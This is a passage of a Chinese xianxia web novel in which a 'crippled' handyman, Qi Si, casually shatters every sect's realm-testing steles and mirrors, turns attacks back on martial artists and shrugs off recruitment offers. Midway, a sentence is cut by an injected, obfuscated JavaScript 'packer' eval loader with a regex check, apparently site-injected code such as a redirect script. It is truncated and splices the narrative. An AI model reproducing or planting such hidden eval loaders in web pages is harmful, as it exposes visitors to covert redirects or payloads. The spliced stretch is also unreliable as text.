齐司看了眼地上的划痕,又看了看自己刚刚靠过的墙根,确认没把墙弄塌,才继续往前走。 “你——你给我站住!”另一个声音从巷口传来,带着压抑的怒火。 一名身披银甲的高阶武者大步踏入巷中,每一步都在地上留下浅浅脚印,气血翻涌,仿佛有一头凶兽在他体内缓缓苏醒。 他盯着倒在地上的师弟,又看向齐司,眼神里带着审视和杀意。 “你对我宗门弟子出手,难道以为——” “他自己撞的。”齐司头也不回,语气平淡,“我只是让路。” 银甲武者冷笑一声,抬手一抓,长枪“嗡”地一声飞起,落入他掌中。他枪尾一顿,枪尖微抬,整条枪身像一条银色蛟龙,枪意在狭窄巷子里盘旋,带起一股逼仄的压迫感。 “在我枪下,没人能‘只是让路’。”他一步踏出,脚下石板炸裂,碎石飞溅,长枪如雷霆般劈下,直斩齐司后背。 齐司叹了口气。 他只是觉得背后风有点大,衣襟被吹得往前鼓起,有点烦。他抬手往后随意一挥,像是想把那股风压下去,好让自己走路别被吹得东倒西歪。 这一挥,手臂弧度懒散,肩背没有任何蓄力的痕迹,甚至连呼吸都没变。 可在银甲武者眼中,那一挥却像是将整条巷子的空气都带动了。 他枪势本来是自上而下的劈斩,枪尖带着一条笔直的劲力轨迹,然而在齐司手臂挥过的瞬间,那条轨迹被硬生生拧成一个弧形,劲力像被一只无形大手抓住,顺着那懒散的弧度,原路折返。 “——轰!” 枪势在半空中调转方向,枪尖猛地一顿,整条枪身像被人从中间折弯,劲力沿着枪身回流,直冲银甲武者双臂。 他只觉得虎口一麻,手指根根炸裂般疼痛,掌中长枪像一条发狂的蛟龙,反咬主人一口。 “噗——!” 银甲武者喉头一甜,一口血喷在枪身上,鲜红顺着银色枪杆滑落,在地上溅出一片斑驳血点。 他整个人被那股回流的劲力震得倒飞出去,重重砸在巷口的石碑上。 “咔嚓——” 那块丈许高的检测石碑终于承受不住,碑身从中间裂开,碎石四散飞溅,尘土弥漫。 齐司站在尘雾中,抬手挡了挡扑面而来的灰尘,顺势伸了个懒腰。 脊椎一节节拉开,发出细微的“咔咔”声,他双臂向上缓缓伸展,肩胛骨展开,胸腔扩张,呼吸自然加深。 这一伸懒腰,本该是极为普通的舒展动作。 可在巷外那些宗门武者眼中,他这一伸,像是整条街的气流都被牵动。 尘雾被他双臂带起的势场分成两半,从他身侧滑开,形成一个清晰的真空带。街边屋檐下垂的风铃无风自鸣,叮当作响,声波在空气中折返,仿佛被某种无形的弧度牵引。 远处观望的一名老者手中灵息镜“啪”地一声碎裂,镜面自内而外崩解成粉末,连一丝光线都没来得及反射。 另一名身披黑袍的高阶武者,原本只是想用神识稍稍探查一下齐司的气机,神识刚一触及那一伸懒腰的轨迹,便像是撞进了一片无边无际的黑暗海面。 没有波纹,没有回响,他的神识在那片“空白”里失去了方向。 “嗡——” 他脑海里一阵刺痛,眼前景物瞬间扭曲,街道、屋檐、人影都拉成长长的残影,像被人用力往两边撕扯。 胸口一闷,心境深处某个角落被猛地撕开一道缝,压抑多年的执念、杀意、恐惧一股脑涌出,化作无数杂乱的心声在耳边嗡嗡作响。 “心魔……”黑袍武者脸色骤变,急忙盘膝坐下,双手掐诀,强行稳住心神,额头冷汗直流。 街道另一侧,一名宗门长老缓缓收回探出的手,指尖还残留着一丝微不可察的颤抖。 “石碑失效,灵息镜失效,骨纹石失效……”他低声喃喃,目光死死锁在齐司背影上,“境界检测全线崩溃。” 旁边有人艰难咽了口唾沫:“他到底是什么境界?” 长老沉默片刻,缓缓吐出四个字: “……不在境中。” “什么叫不在境中?”另一人忍不住道,“没有境界,就不该有这种气势,这种力道,这种——” “你没看见吗?”那长老眼神有些发直,“他从头到尾,没有运转任何心法,没有调动一丝真元,连呼吸都没乱。” “可他刚才那一伸手——” “只是挡灰尘。”长老声音发涩,“只是伸懒腰。” 几名宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有人想上前,又被同伴拦住。 “别靠太近。”先前那名被心魔侵扰的黑袍武者艰难睁开眼睛,声音沙哑,“他身边……不对劲。” “哪里不对?”有人低声问。 “所有力道,在他身边都会……失去方向。”黑袍武者喘着气,“你越用力,反噬越重。你越认真,心境越乱。” “那我们怎么办?”有人焦躁,“总不能任由他在世间乱走吧?” “他刚才在干什么?”另一个宗门长老忽然问。 众人一愣,顺着他目光看去。 齐司左手拿着糖饼,右手不知道从哪儿摸出一根短木棍,像是刚才路过某个角落随手捡的。他一边走,一边用木棍在地上轻轻扫着,像是在试试这根棍子结不结实。 木棍划过地面,发出“沙沙”的声响,带起一层极薄的灰尘波纹。 那波纹在地面上扩散,沿着他随意挥动的弧线,形成一道道看似漫不经心的轨迹。 “那是……”一名擅长阵法的修士瞳孔骤缩,“‘锁龙十八势’的第三式轨迹?不对,还有‘回风枪’的收势……以及‘折脊腿’的借力弧线?怎么会全部叠在一起?” “他只是随便扫地。”旁边人声音发干。 齐司自己也没注意,他只是觉得手里拿着东西,顺手抖一抖,挥一挥,感觉胳膊舒服些。 他每抖一下手腕,木棍尾端都会在空气中划出一个极短的弧线,带起一丝细微风压,吹得街边摊位上的纸张轻轻一颤。 那弧线看似杂乱无章,却恰好穿过了街上所有武者的“势场”缝隙——每个人站立时,气息自然外放,形成或强或弱的气场,彼此之间有交汇、有冲撞。 齐司的木棍轨迹,像是本能地找到了所有气场之间最脆弱、最容易崩塌的节点,一扫而过。 “我的内息——”一名中年武者脸色骤变,原本平稳的呼吸忽然乱了半拍,胸口起伏失序,真元在体内打了个结。 另一人刚想运转心法稳住,结果心法一启,丹田处的气机就像被那根木棍尾端轻轻一拨,整套心法的运转轨迹被生生拧偏,真元逆流,差点当场走火。 “别运功!”有人惊呼,“在他附近,千万别运功!” 街道上,一片压抑的混乱。 齐司吃完手里的糖饼,随手把木棍往路边一丢,木棍在石板上弹了两下,滚进一堆杂物里。 他抬头看了眼天色,太阳偏西,光线从屋檐斜斜落下,在街面上拉出长长的阴影。 “回藏书阁睡一觉。”他在心里做了决定。 “齐司。”一个熟悉的声音从人群后方传来。 是宗门的执事长老,气喘吁吁地挤过人群,额头上还挂着汗。 “掌门让你立刻回山。”他压低声音,“各宗门都在盯着你,山门已经布下大阵,保护你……也顺便监视你。” 齐司“哦”了一声。 “我下山买吃的。”他解释了一句,语气平静,“现在吃完了,正要回去睡觉。” 执事长老张了张嘴,最终什么也没说,只是苦笑一声:“走吧。” 他侧身让开一条路。 街道两侧,来自各宗门的目光如针如芒,却没有一个人再敢伸手拦他。 齐司踩着斑驳的光影往山门方向走去,脚步不快不慢。 每一步落下,地面石板都会轻微震动一下,那不是他刻意施力,而是周围那些不安分的气机、探查的神识、暗中的锁定,在接触到他脚步落点的瞬间,被迫改道,互相碰撞,产生的细微余波。 宗门山门前,早已立起一块新的检测石碑,碑面光洁如镜,阵纹复杂数倍,显然是刚从宗门深处搬出来的压箱底宝物。 齐司刚走近,石碑上的阵纹便自行亮起,一道道光线像触手一样伸出,试图捕捉他的气息。 结果刚一触及他的衣角,那些光线就像被烧断的丝线一样,纷纷从中间断裂,化作点点光屑消散。 “境界判定:——” 【目标不在判定范围内。】 【重新构建境界模型中……】 石碑内部传来一阵剧烈的嗡鸣,仿佛整个阵法都在疯狂运转,试图重写一套新的境界体系来容纳他。 “停下!”山门内,一名阵法长老脸色大变,猛地掐诀,强行切断石碑与宗门大阵的联系。 “再让它算下去,整个宗门的境界体系都要被改写!”他声音发颤。 石碑上的光芒瞬间熄灭,碑身却仍在轻微颤抖,像是被什么看不见的力量撕扯过,纹路扭曲变形,再也恢复不到原来的样子。 齐司从石碑旁走过,连看都没看一眼。 他只觉得有点困。 山门内,弟子们纷纷让路,有人低声议论,有人目光复杂,却没有一个人敢靠得太近。 齐司一路走回藏书阁。 推开门,木门“吱呀”一声,阁内光线昏暗,尘埃在斜射进来的光束中缓慢飘浮,书架一排排延伸进阴影深处,空气里是陈旧纸张和墨香的味道。 他熟门熟路地走到角落里那张旧榻旁,把腰间钱袋随手一扔,整个人往榻上一倒,枕着一卷不知道谁丢在那里的旧书,闭上眼睛。 外面,宗门议事大殿里,长老们的争论声已经炸开。 “境界必须重写!”有人拍案,“至少要加上‘境外之境’一层,把他归进去!” “归进去有用吗?”另一人冷笑,“你们谁能解释,他为什么不修炼、不运功,却能让所有检测失效,让高阶武者走火入魔?” “那就设为‘无法评定’之境!”又有人提议,“专门为他开一栏!” “那是境界,还是耻辱柱?”有人低声嘀咕。 更多的飞剑传书从各大宗门飞来,落在宗门大殿外的剑池里,剑身嗡鸣不止,仿佛整个武道世界都被某种看不见的力量搅动。 而藏书阁里,齐司已经睡着了。 呼吸平稳,毫无波澜。 藏书阁的窗纸被夜风鼓起一角,风从山腰绕上来,带着松脂味,轻轻吹动齐司鬓边几缕碎发。 他翻了个身,把那卷旧书往脸上一扣,呼吸依旧均匀。 门外脚步声停在廊下。 “就是这里?”一道年轻的声音压得很低,却压不住兴奋,“他说白天在这里扫地。” “嗯。”另一个声音略沉,“师尊说,让我们亲自确认。别惊动他,先做检测。” 门被推开一条缝,灯火被带进来一点,落在满墙书卷上,投出一层层叠影。 齐司没动。 两个身着外宗弟子服的少年悄悄进来,一个怀里抱着一块半人高的黑色石碑,碑面纹路如蛇,暗红光线在缝隙里游走。 “骨纹评定碑放这儿。”抱碑的少年轻轻一放,石碑落地,地面微微一震,灰尘被震起一圈细细的环。 另一个已经从袖中取出一面巴掌大的铜镜,镜背刻着密密阵纹,镜面如水,正是灵息镜。 14. 第 14 章 “先镜后碑。”他低声道,“别靠太近,别吵醒他。” 两人对视一眼,齐齐看向榻上那团人影。 齐司一条腿搭在榻边,半只脚悬在外面,脚尖随着呼吸轻轻晃动。 “……他真的被废了?”抱碑少年忍不住小声,“看着挺普通。” “普通?”拿镜的少年哼了一声,“你没看宗门通告?‘所有检测失效’——这四个字,整个外宗都传疯了。” 他抬手,灵息镜缓缓对准齐司,指尖一点镜背阵纹。 嗡—— 一圈无形的波纹从镜面荡开,像看不见的水纹,从齐司脚尖扫过,沿着榻沿、书卷、木柱、墙壁,一路扩散。 书架上的卷轴轻轻一颤,灰尘被震落一层细粉,在空气中形成一条清晰的弧线。 灵息镜镜面先是微微发亮,紧接着光芒猛地一收,镜面“啪”的一声,浮现出一行血红小字: 【数据错误】 拿镜的少年一愣,以为自己看错了,又按了一遍阵纹。 嗡—— 第二道波纹更强,连榻脚都震出一丝细不可察的位移,榻下积灰被震成一圈浅浅的波浪纹。 镜面光线闪烁,阵纹疯狂旋转,最终停下,字迹重新浮现: 【无法识别】 “怎么会……”少年喉结滚动一下,手心微微出汗。 抱碑的少年凑过来,刚要伸手碰镜面,灵息镜忽然“咔”的一声,镜面从中间裂出一道细缝,裂纹如蛛网瞬间蔓延,光芒尽灭。 “完了完了完了——”抱碑少年脸色发白,“灵息镜碎了,这是宗门主镜之一——” “闭嘴!”拿镜少年赶紧把残镜塞回袖中,抹了一把额头冷汗,“先做骨纹评定,快。” 他转身,按下骨纹碑顶端的阵眼。 石碑内部像被点燃,暗红光线从碑心往外扩散,纹路一条条亮起,仿佛一张巨大的血色骨骼在碑面缓缓成形。 “骨纹评定,检测范围三丈。”他低声念着口诀,“凡在范围内者,骨龄、骨纹、骨势、骨相,一并显形。” 一圈肉眼可见的红色波纹从碑底扩散,沿着地面滑过,绕过书架,最后轻轻扫过榻边。 齐司的脚尖被那一圈红光一擦,脚趾条件反射般蜷了一下。 他皱了皱眉,像是被光晃到了,随手抬起一只手,把盖在脸上的旧书往下一拉,正好盖住眼睛。 动作懒散,手腕一抖,书卷边缘划出一道轻微的弧线,带起一缕气流,把扑面而来的灰尘拨开。 那缕气流轻轻一转,正好撞上骨纹碑扩散到一半的红色波纹。 啪—— 像有人拿手指轻轻一弹,红光波纹当场碎成无数细小光点,逆着原本的扩散方向,倒卷回石碑内部。 石碑猛地一震,碑身上的骨纹图像刚刚勾勒出半截,忽然像被人硬生生抹去,整块碑面一片漆黑。 紧接着,一行深刻入石的字迹浮现出来: 【检测目标:不存在】 【骨纹:无】 【骨龄:无】 【骨势:无】 【评定:无法评定】 抱碑少年嘴唇发干:“这……这是什么意思?” “什么意思你看不懂?”拿镜少年声音发紧,“在碑的字典里,他不算‘人’。” 话音刚落,骨纹碑内部传来一声闷响,像是某个阵眼被强行崩断,碑身自下而上裂开一道缝,碎石粉末簌簌落地。 两人对视,眼里都是同一种惊恐。 榻上,齐司呼吸略微一顿,又慢慢平稳下来。 他翻了个身,背对着他们,手臂随意一伸,搭在榻外,指尖刚好点在地面一块松动的青砖边缘。 那青砖轻轻一翘,把落在上面的碎石全都弹到一旁,避开了他衣摆。 “……走。”拿镜少年咽了口唾沫,声音发虚,“回去禀报。” 两人连大气都不敢出,猫着腰退到门口,小心翼翼把门掩上。 门外廊下,夜风一吹,两人同时打了个冷战。 “境界……真要重写了。”抱碑少年喃喃。 …… 第二日清晨。 宗门后山,试武场。 石台环绕,立着一圈刻满阵纹的青铜柱,柱顶悬着一圈灵息镜,中央竖着三块高大的境界石碑,分别刻着“炼体”“聚气”“化罡”三大境。 今天却多了一块新立的白石碑,碑面空白,只在最上方写着四个字—— “无法评定”。 周围弟子挤得水泄不通,议论声此起彼伏。 “听说就是为他立的。” “一个被废的外宗杂役,居然单独占一碑?” “嘘,小声点,长老们都在。” 高台之上,几位长老分列而坐,面色各异。 执法长老沉声道:“今日宗门例行检测,外宗弟子全部上碑评定。顺便——”他目光扫过人群,“验证一事。” 众弟子顺着他的视线看去,目光落在队伍末尾。 齐司正打着哈欠,手里拎着一把旧扫帚,肩上还搭着一块抹布,显然是从某个角落被人直接叫来的。 “齐司。”执法长老开口,“上来。” 齐司脚步一顿,看了看手里的扫帚,又看了看那几块石碑。 “我还要去扫后山石阶。”他语气平平,“能快点吗?” 台上几位长老脸色微微一僵。 “很快。”执法长老压着火气,“你只需站在碑前。” 齐司“哦”了一声,慢悠悠走上前,站在三块旧碑和一块新碑中央。 四面八方的视线像实质一样压过来。 “先测炼体。”一名负责的内门师兄走上前,按下炼体碑侧面的阵纹。 嗡—— 炼体碑内灵光轰然亮起,一圈圈金色波纹从碑心扩散,带着明显的力量感,像一层层叠加的重压,朝齐司胸口推来。 风压卷起他衣角,衣摆猎猎作响,脚边尘土被压出一道道同心圆。 齐司眼皮微抬,看着那金色波纹逼近,微微皱眉——不是怕,而是嫌麻烦。 他懒得后退,只是往旁边挪了半步,像是给别人让路。 脚尖一转,脚跟轻轻碾过地面,带起一点细碎砂砾。 那一点砂砾被他脚尖一拨,顺着他侧身的方向划出一道极浅的弧线,恰好从金色波纹的边缘擦过。 金光一颤,原本向外扩散的力量被那道弧线轻轻一带,整圈波纹像被人拧了一下,方向偏斜,绕过齐司身侧,撞向一旁空地。 砰—— 地面炸开一圈裂纹,尘土冲天而起,最近的一根青铜柱被震得嗡嗡作响,柱顶的灵息镜差点掉下来。 炼体碑上原本要浮现的境界字样一顿,光线乱作一团,最终只凝成三个字: 【无结果】 负责的内门师兄脸色一变,咬牙再按一次阵纹。 第二圈金光比刚才更猛,几乎是以碾压之势扑向齐司胸口,风声呼啸,附近弟子被吹得连连后退。 齐司叹了口气,抬手挡在脸前,像是怕灰尘扑面。 手腕一抖,袖口微微鼓起,袖中空气被挤压成一股细长的气流,顺着他手臂的弧度往前一送。 那股气流看不见,却清晰地在空气中划出一道被压缩的通道,正好撞上金色波纹的正中心。 啪—— 一声闷响,金光瞬间破碎,像被人从中间捏断,碎成无数细小光点,逆流而回,全部倒灌进炼体碑内部。 炼体碑猛地一震,碑身上原本刻着的“炼体”二字光芒熄灭,紧接着,一行陌生的字迹浮现: 【检测对象:不在炼体序列】 【评定:境界不存在】 四周一片死寂。 负责的内门师兄喉咙发干:“聚气碑。” 聚气碑被同时启动,青色灵光如潮水般涌出,带着明显的灵息波动,空气中隐隐传来水波拍岸的声音。 这一次,波纹不是压,而是卷,像要把齐司整个人卷进某个看不见的漩涡里。 齐司看着那青光,眼皮有点沉,打了个哈欠。 哈欠打到一半,他下意识伸了个懒腰,双臂往上缓缓一举,背脊微微一拱,肩胛骨一张一合,发出细微的骨节弹响。 这个伸懒腰的动作极其自然,毫无章法可言,却在他背部肌肉拉伸的瞬间,带动周身空气往外一推。 一圈极薄的气浪从他身体表面扩散出去,像一层看不见的薄膜,把涌来的青色灵息轻轻一顶。 青光被那层薄膜一撞,方向陡然一变,整片灵息潮水在他头顶上方拐了个弯,绕成一个巨大的环,最后全部倒灌回聚气碑内部。 砰—— 聚气碑内部传来连环闷响,像几十道水流同时逆冲管道,碑身阵纹一条条熄灭,青光尽散。 碑面上浮现出和炼体碑几乎一模一样的字: 【检测对象:不在聚气序列】 【评定:境界不存在】 高台上的长老们脸色已经从惊讶变成凝重。 “化罡碑。”执法长老声音发冷,“全力。” 化罡碑上的阵纹被同时点亮,赤色罡气从碑心喷薄而出,带着炽热的温度和锋利的气息,地面瞬间被烤得发干,空气中出现一层肉眼可见的扭曲。 这一次,罡气没有扩散,而是凝成一柄巨大的无形长刀,刀锋直指齐司胸口。 负责的内门师兄额头见汗,咬牙运转全身真气,双手按在碑侧,强行把碑内所有储存罡气激发出来。 轰—— 无形长刀落下,带着撕裂空气的尖啸,所过之处,地面石板裂出一道笔直的缝隙,尘土被刀锋卷成一条细长的尾迹。 齐司看着那东西落下来,眉头皱得更深了一点。 “真麻烦。”他低声嘀咕了一句。 刀锋将至,他没有闪避,只是把手里的扫帚往前一伸,像是随手试了试新买的扫帚杆结不结实。 扫帚杆斜斜一抬,角度随意,连握杆的手都显得有些松散。 可就在那一瞬间,他手腕微微一抖,扫帚杆划出一道极其自然的弧线,杆身轻轻一颤,带起一股细微的旋涡气流。 那股旋涡正好缠上无形长刀的刀锋。 所有人只听见一声极轻的“咔嚓”,像是极细的冰层被人踩裂。 无形长刀的锋芒在接触到扫帚杆的那一刻,整条罡气轨迹被硬生生扭曲,刀锋偏转九十度,从齐司身侧擦过,直直劈向远处空地。 轰—— 试武场边缘的石栏被整齐切断一截,断口平滑如镜,后方山壁被刀气划出一道深不见底的裂缝,碎石滚滚而下,尘烟冲天。 化罡碑内部的罡气却没有宣泄出去,反而在那一瞬间被扫帚杆带出的旋涡牵扯,沿着原本的输出通道倒卷回去。 碑身一震,赤光暴涨,负责的内门师兄脸色猛地一白,喉头一甜,一口血喷在碑侧。 “内力……倒灌——”他踉跄后退,气息紊乱,丹田处真气乱窜,脸色时青时白。 高台上一位化罡境长老眼神一凛,身形一闪,落在碑旁,一掌按在内门师兄背后,替他稳住乱窜的真气。 掌心刚一接触,对方体内那股被倒灌的罡气顺着他的掌心反冲而来。 长老眼中寒光一闪,运转自身罡气强行压制。 两股罡气在他体内短暂交锋,原本应该被他轻易镇压的外来真气,却在接触到他自身罡气的瞬间,像被什么看不见的东西搅了一下。 他的罡气忽然失去原本的流畅轨迹,几条主经脉里的气流同时一滞,随后猛地反向冲击。 长老脸色一变,额头青筋暴起,呼吸一瞬间紊乱,胸口起伏剧烈。 “长老——”旁边有人惊呼。 他咬牙死死按住那股乱流,眼底却闪过一丝难以置信的震荡。 这股罡气……带着一种完全不符合任何已知路数的“扭曲”,仿佛所有运行轨迹都被某种更高一层的“势”给改写了。 他抬眼,看向场中央那个还拎着扫帚、神情有点困倦的少年。 化罡碑终于熄灭,碑面上浮现出第三行几乎一模一样的字: 【检测对象:不在化罡序列】 【评定:境界不存在】 三块旧碑全部失效。 所有人的目光同时落在那块新立的白石碑上。 执法长老深吸一口气,抬手一点。 白石碑缓缓亮起,碑面上阵纹飞速游走,仿佛在从整个宗门的阵法库里调取所有可用的检测手段。 灵息、骨纹、气血、罡势、心境……所有维度同时启动。 一股前所未有的复杂波动从白石碑扩散开来,空气被压得发闷,许多修为低的弟子脸色发白,连连后退。 齐司站在波动中心,眼皮终于有点撑不住,打了个更大的哈欠。 他抬手,随意地抖了抖手腕,像是久握扫帚有点酸,想松一松筋骨。 手腕一抖,指节轻轻弹了一下扫帚杆。 那一下极轻,连声响都几乎听不见,却在他指节与木杆接触的瞬间,带出一缕极细的震荡波。 震荡顺着扫帚杆一路传到杆尖,又从杆尖扩散出去,化成一圈圈极细的波纹,和白石碑扩散出来的复杂波动正面撞上。 没有轰鸣,没有光爆。 所有波动在接触的那一瞬间,像是被人按下了某个“停顿”的机关,全部静止了一息。 下一瞬,所有检测波动同时崩溃,像被抽走了根基,全部塌陷回白石碑内部。 白石碑剧烈震动,碑身上原本空白的区域被密密麻麻的符文瞬间填满,又在同一瞬间全部炸裂,化作一片光屑。 光屑散尽,碑面只剩下两行字,刻得极深: 【境界:无法识别】 【评定:不属于本体系】 高台上的长老们齐齐变色。 “……不属于本体系?”有人喃喃重复。 “什么意思?”另一位长老声音发紧,“我们的武道体系?” “他不在炼体,不在聚气,不在化罡之内。”执法长老盯着那行字,喉结滚动,“也就是说——” “他不在任何境界里。”一位白眉长老接道,目光死死锁在齐司身上,“却能打穿所有境界。” 场中一片死寂。 齐司看着那块白石碑,眨了眨眼。 “好了?”他问,“我可以走了吗?” 执法长老张了张嘴,还没来得及说话,人群中忽然有人大喊: “等一下!” 一名身着异宗服饰的青年从人群中挤出,腰间挂着一枚陌生宗门的令牌,气息内敛,却隐隐透出不弱于内门精英的压迫感。 “在下青河宗内门弟子,林澜。”他拱手,目光灼灼,“久闻齐师弟之名,今日一见,果然不同凡响。” 齐司看了他一眼,又看了看自己手里的扫帚。 “我还要去扫地。”他语气淡淡,“不比。” 林澜笑了笑,眼中战意却更盛:“不是比试,只是切磋一二。宗门例行检测,难免有误。武者之道,终究要以拳脚见真章。” 他说着,脚下一踏,地面石板裂出细细的蛛网,气血鼓荡,衣袂鼓起,一股不弱的势场在他周身成形。 “我会收着。”他补了一句,“绝不伤你。” 齐司眉头微微一皱。 “我不打。”他道,“你找别人。” 他转身就要下场。 林澜眼中战意一闪,脚步一错,身形如影,瞬间出现在齐司身前半丈处,右臂后拉,拳势如弓满月。 “得罪了!” 拳未至,风先到,一股炽热的拳风直扑齐司胸口,地面尘土被拳风卷起一道直线,空气被挤压出刺耳的爆鸣。 齐司懒得躲,只是下意识往后退了半步,像是给对方让出一点路。 这一退,他脚跟刚好踩在之前化罡刀气劈出的那道细长裂缝边缘。 裂缝极窄,脚跟一半悬空,他身体微微一晃,整个人自然地往后一仰,为了稳住重心,左手随手往旁边一撑。 刚好撑在那块已经裂出细缝的白石碑侧面。 他这一撑,力道极轻,只是为了借力,连真气都没动。 可他的手掌与碑身接触的那一瞬间,白石碑内部残留的所有紊乱检测波动被他掌心那一丝极轻的“撑力”牵扯,瞬间全部改道。 原本应该在碑内缓慢消散的力量,沿着他掌心那条“撑住身体”的力线,全部被引到他肩膀,再顺着他后仰的身体,滑到他另一只垂在身侧的右手。 齐司为了不摔倒,右手自然往前一摆,扫帚杆尖端刚好斜斜指向林澜那一拳的拳锋。 啪—— 拳风撞上扫帚杆尖端。 林澜只觉得拳头像是砸在了一团柔软却极有韧性的东西上,拳劲被那团东西一裹,整股力道瞬间失去方向。 下一刻,那股力道以更快的速度,沿着他手臂经脉原路返回。 “——!” 林澜瞳孔一缩,想要抽手已经来不及,拳劲倒灌,顺着他的手臂一路冲进肩井,再直冲胸口。 他胸腔一闷,气血翻涌,耳边嗡的一声,整个人被自己的拳劲震得连退七步,每一步都在地面踩出一个清晰的脚印。 退到第八步时,他喉头一甜,一口血硬生生被他咽了回去,脸色却已经发白。 “内力……回冲?”他难以置信地看着自己的拳头,又抬头看向齐司。 齐司站在原地,扫帚杆还保持着刚才那种极其随意的前伸姿势,像是刚刚只是在试探地面有没有灰。 “我说了,不打。”他把扫帚收回,转身就走。 林澜呼吸紊乱,心境却在那一瞬间剧烈震荡。 他这一拳用的是青河宗的镇宗拳法“回潮”,本就擅长借力打力,顺势回流,几乎从未失手。 可在刚才那一瞬间,他清清楚楚地感觉到,自己的拳势轨迹被对方那一摆扫帚的动作彻底改写。 不是被挡,不是被卸,而是——被“改写”。 那种感觉,就像有人在他拳头出手之后,伸手在空中把“拳路”这两个字重新写了一遍。 他心底某个一直坚信的东西,出现了一道肉眼可见的裂缝。 “这不可能……”他喃喃。 高台上,一位来自别宗的灰袍老者微微眯眼,忽然开口:“齐司。” 齐司脚步一顿,回头。 “你可愿来我断岳宗?”灰袍老者声音平静,却带着不容忽视的重量,“不必修炼,不必出战,只需在宗门内随意走动,做你想做的事。” 另一侧,一名身着蓝袍的女长老冷笑:“断岳宗什么时候这么好心了?齐司,来我寒渊宫吧。我们给你最高长老待遇,所有资源任你挑选,只需——” “只需什么?”齐司打断她,语气依旧淡淡。 “只需在我们宗门境界评定大阵启动时,站在阵心。”女长老直言不讳,“你的存在,可以帮我们验证境界之上的可能。” “齐司。”宗门自家掌门终于开口,声音压过所有人,“你暂时留在本宗。外宗杂役的身份不再适用,自今日起,你为——” “我不想当什么。”齐司打断他,“我只想扫地,偶尔去藏书阁睡觉,饿了下山买点吃的。” 掌门话头被生生截断,脸色微微一僵。 “你现在的存在,已经牵动整个武道世界。”他压低声音,“各宗都在重写境界,你若随意出入,必被人盯上。” “那是你们的事。”齐司道,“和我无关。” 灰袍老者笑了笑:“你以为你躲得开?只要你还在武道之中,你的一举一动,都会影响境界的定义。” “那就别把我算在武道里。”齐司说,“我已经被废了。” 他说完,转身就走,连礼都懒得多行一个。 几位长老对视一眼,眼底都是同一种复杂。 “……他不属于任何境界。”白眉长老低声道,“可所有境界,都被迫围着他转。” “武道体系出现逻辑断层。”灰袍老者喃喃,“境界的概念,必须重写。” 试武场上,弟子们的议论声重新炸开。 “他刚才只是退半步、伸个手,就把青河宗的内门打吐血了?” “那一摆扫帚的动作,我看得清清楚楚,可我就是学不会。” “不是学不会,是你学了会死。”有人低声道,“你没感觉吗?他每一个动作,都像是在把我们的武道路数……拆开重组。” …… 齐司一路走回藏书阁。 阳光从树叶间漏下来,斑驳地洒在石阶上,他手里的扫帚杆在地面拖出一条浅浅的痕迹,偶尔碰到石阶边缘,发出“咔”的一声轻响。 藏书阁前的院子里,几个外宗弟子正在搬石碑。 “快快快,把新的骨纹评定碑搬进来!昨天那块裂了!” “听说是因为齐司——” 话没说完,抬碑的弟子一抬头,看见齐司正站在院门口。 几人动作一顿,石碑差点没稳住。 “齐、齐师兄。”有人硬挤出一个称呼。 齐司看了看那块新碑,又看了看他们。 “往里搬。”他道,“别挡门。” 几人如蒙大赦,赶紧把碑往里抬。 其中一个脚下一滑,石碑一歪,眼看就要砸向旁边堆放的几卷古籍。 齐司叹了口气,抬手往前一伸,扫帚杆轻轻一挑,正好顶在石碑下缘。 那一下极轻,像是随手扶了一把。 石碑却在那一挑之下,整块重量被瞬间重新分配,原本倾斜的重心被硬生生拉回,几名弟子只觉得手上一轻,石碑稳稳落地。 “多谢齐师兄!”几人连忙道谢。 齐司没理,转身进了藏书阁。 阁内光线昏黄,尘埃在光柱中缓慢飘动。 他把扫帚往墙角一靠,随手抽出一卷书,往老地方一躺,枕着书卷闭上眼睛。 呼吸平稳,毫无波澜。 阁外不远处,一道道隐晦的气息在暗处浮现又隐去。 有来自各大宗门的探子,有宗门自己布下的暗哨,还有几道明显压制了修为的高阶武者气息,远远锁定着藏书阁的方向。 他们不敢靠近,只能在外围徘徊。 每当有人试图靠近三丈之内,体内真气就会莫名一滞,呼吸节奏被打乱,只能悻悻退回原位。 “连靠近都不行?”一名隐藏在林中的老者低声道,眉头紧皱,“这小子,到底把我们的武道……变成什么样了?” “境界之上,或许还有一层。”另一道声音沙哑,“只是那一层,不属于我们。” “那他属于谁?” “……不知道。” 林风吹过,树影晃动,枝叶之间的光影像一层层错乱的阵纹。 而藏书阁里,齐司已经睡得更沉了些。 系统的声音在他意识深处淡淡响起: 【本世界主线进度:87%】 【武道体系重写进程:启动】 【宿主保持当前状态,无需任何操作】 【任务完成后,将自动开启下一世界传送准备】 齐司在梦里翻了个身,伸了个懒腰。 动作极其随意,却在梦境与现实的交界处,带起一圈看不见的涟漪,顺着整个宗门的阵法脉络,一路向外扩散,最终蔓延到更远的地方。 各大宗门的境界石碑、灵息镜、骨纹评定阵,在同一时刻轻轻一颤。 有的碑面浮现出“无法识别”,有的镜面出现“数据错误”,有的阵纹直接熄灭。 武道世界的根基,在这一刻,悄无声息地被迫挪动了一寸。 宗门主峰之上,一块高达三丈的境界石碑原本光华流转,碑身纹路如龙蛇游走。 此刻,却像被什么无形之物轻轻敲了一下。 “嗡——” 一圈肉眼可见的波纹,从碑心扩散,空气被震得微微扭曲,山风被拦腰切断,尘土在半空中停顿了一瞬,随后又缓缓落下。 碑面上原本清晰的“炼体、聚息、开脉、化劲、通玄、归一”等境界刻痕,像被一只看不见的手从中间抹过,线条扭曲、断裂、重组,最终只凝成四个字: ——“无法识别”。 守碑弟子正盘膝打坐,听到动静睁眼,目光一触及那四个字,呼吸一滞,胸腔里的气息猛地一乱,差点岔气。 “怎么回事?谁在测试?” 他连忙起身,掌心贴在石碑下缘,试图感应碑内灵纹运转。 石碑内部的灵力流转却一片混沌,原本顺畅的灵路像被打结,灵息在其中打圈,时而冲撞碑壁,发出低沉闷响,震得他虎口发麻。 同一时刻,另一座宗门的灵息镜前,一名长老正为新入门弟子检测天赋。 镜面如水,映出弟子骨骼轮廓,灵息流转轨迹清晰可见。 长老捏诀,指尖轻点镜框,低声道:“骨纹显形。” 镜面深处,一道道细微光线交织,勾勒出骨纹图案,刚刚成形,忽然一抖,像被什么外力从中拽了一下。 “咔——” 